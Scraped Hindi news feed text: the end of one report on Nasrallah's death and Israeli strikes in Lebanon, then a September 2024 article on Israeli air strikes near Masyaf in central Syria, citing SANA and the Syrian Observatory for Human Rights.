ईरान लगातार सीरिया में अपना प्रभाव बढ़ाने की कोशिश कर रहा है और इस्राइल इसका विरोध कर रहा है। शुक्रवार को ही इस्राइल के हमले में लेबनान में हिजबुल्ला प्रमुख हसन नसरल्ला की मौत हो गई है। लेबनान में इस्राइल के हमलों में अभी तक 700 से ज्यादा लोगों की मौत हो चुकी है और लाखों लोग विस्थापित जीवन जी रहे हैं। इसके चलते पश्चिम एशिया में तनाव चरम पर है। सीरिया में मानवाधिकारों के लिए काम करने वाली संस्था का कहना है कि इस्राइली सेना लगातार सीरिया-लेबनान सीमा पर हथियारों के सप्लाई रूट पर हमले कर रही है।

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अब इजरायल ने खोला एक और युद्ध मोर्चा, सीरिया में घुसकर भीषण हमले https://pratyushaashakinayikiran.com/?p=68043 Mon, 09 Sep 2024 12:56:00 +0000 https://pratyushaashakinayikiran.com/?p=68043 तेल अवीव
बीते करीब एक साल से गाजा में हमास के ठिकानों को नेस्तनाबूद करने में जुटा इजरायल लगातार संघर्ष में जुटा है। उसने हमास के साथ जंग के बीच ही लेबनान में सक्रिय हिजबुल्लाह आतंकियों के साथ भी मुकाबला किया है और सीधे हमले किए हैं। इस बीच उसने एक और मोर्चा खोलते हुए सीरिया में भी अटैक किए हैं। इन हमलों में 7 लोगों की मौत हो चुकी है। इनमें तीन नागरिक भी शामिल हैं। वॉर मॉनिटर की रिपोर्ट में यह जानकारी दी गई है। इजराइल ने रविवार देर रात को मध्य सीरिया में कई इलाकों को निशाना बनाकर हमले किए। इनमें कम से कम 7 लोगों की मौत हो गई और 15 लोग घायल हो गए।

गोलीबारी के कारण कई जगहों पर आग लग गई। सरकारी मीडिया ने इस बारे में खबर दी। सीरिया की सरकारी समाचार एजेंसी ‘सना’ की खबर के अनुसार सीरियाई वायु रक्षा प्रणाली ने ‘मध्य क्षेत्र में कई जगहों को निशाना बनाकर किए गए आक्रामक हमले का मुकाबला किया।' इस हमले में हमा प्रांत में एक राजमार्ग को नुकसान पहुंचा और आगजनी हुई जिसके बाद सोमवार सुबह दमकलकर्मी आग पर काबू करने के लिए जूझते दिखे। ‘सना’ ने पश्चिमी हमास प्रांत में मसयाफ नेशनल हॉस्पिटल के प्रमुख फैसल हैदर के हवाले से बताया कि हमले के बाद कम से कम 7 मृतकों और 15 घायलों को अस्पताल लाया गया।

अभी यह स्पष्ट नहीं हो पाया है कि ये आम नागरिक हैं या चरमपंथी। ब्रिटेन से संचालित युद्ध निगरानी करने वाली संस्था ‘सीरियन ऑब्सर्वेटरी फॉर ह्यूमन राइट्स’ की रिपोर्ट के अनुसार एक हमले में मसयाफ में एक वैज्ञानिक अनुसंधान केंद्र और उन अन्य स्थलों को निशाना बनाया गया। यहां ‘‘ईरानी मिलीशिया और विशेषज्ञ सीरिया में हथियार विकसित करने के लिए ठहरे थे।’ स्थानीय मीडिया ने तटीय शहर टार्टस के आस पास भी हमले की सूचना दी। इस तरह इजरायल ने ईरान समर्थित आतंकी संगठनों पर एक और देश में घुसकर वार किया है।

बता दें कि हिजबुल्लाह और हमास को भी ईरान समर्थित संगठन ही माना जाता है। बीते महीने ईरान की राजधानी तेहरान में ही इजरायल ने हमास के शीर्ष कमांडर इस्माइल हानियेह को मार गिराया था। सीरिया पर तो इजरायल की ओर से जब-तब हमले किए जाते रहे हैं। 2011 से ही सीरिया में गृह युद्ध की स्थिति है और अब तक 100 से ज्यादा हमले इजरायल कर चुका है। दरअसल सीरिया में भी बड़े पैमाने पर ईरान समर्थक ताकतें सक्रिय हैं। ऐसे में इजरायल उन्हें निशाना बनाते हुए ही सीरियार में अटैक करता है।

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